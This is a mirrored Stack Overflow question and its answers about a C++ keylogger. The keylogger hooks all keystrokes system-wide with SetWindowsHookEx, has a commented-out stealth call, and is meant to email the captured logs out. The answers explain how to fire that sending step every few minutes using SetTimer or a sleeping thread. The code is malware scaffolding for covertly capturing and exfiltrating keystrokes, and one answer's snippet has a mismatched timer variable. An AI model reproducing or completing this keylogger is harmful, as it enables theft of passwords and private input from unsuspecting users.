Domanda

I'm making a keylogger that logs key strokes (duh..). Now when I've implemented the basic keylogger in C++, I wanted to add a new feature to the application: I want it to mail the logs to my email. So far so good, I found this open source email client that fits perfect for my needs. The only problem I have is to make the application send the logs in intervals of x minutes.

int main(int argc, char *argv[])
{
    //stealth();
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL, 0);
    if(hHook == NULL)
    {
        cout << "Hook failed" << endl;
    }

    MSG message;
    while(GetMessage(&message, NULL, 0, 0))
    {
        TranslateMessage(&message);
        DispatchMessage(&message);
    }

    return 0;
}

Somehow I need to implement somekind of counter which will at some point use a function send();. Anyone got any idea how to modify the MSG loop to execute the funktion send(); each and every 5 minutes?

È stato utile?

Soluzione

Take a look at the SetTimer function, I think it does exactly what you need.

Before event loop you should call this function with desired interval and you have to pass to it a callback function. Alternatively you can use another function CreateTimerQueueTimer

VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime) {
}

UINT timer = SetTimer(NULL, 0, 500, &TimerProc);

MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
    TranslateMessage(&message);
    DispatchMessage(&message);
}

KillTimer(NULL, timerId);

Altri suggerimenti

Make a new thread to sleep x milis and then send in a while(!interrupted) loop. As you may know, accessing the same data for read and write from 2 separate threads simultaneously will cause an error. http://msdn.microsoft.com/en-us/library/kdzttdcb(v=vs.80).aspx

To avoid that you can use critical section

http://msdn.microsoft.com/en-us/library/windows/desktop/ms686908(v=vs.85).aspx

Or just make your thread to sleep and turn a boolean value to true meaning 'yes we waited enough' and your main function always send data when that boolean is true then set it back to false.

edit: I believe this is the simplier way to archieve this

while(!interrupted) { // Your thread will do this.
    sleep(60000);
    maysend = true;
}
[...]
if(maysend) { // Your main function will contain this
    send();
    maysend = false;
}
Autorizzato sotto: CC-BY-SA insieme a attribuzione
Non affiliato a StackOverflow
scroll top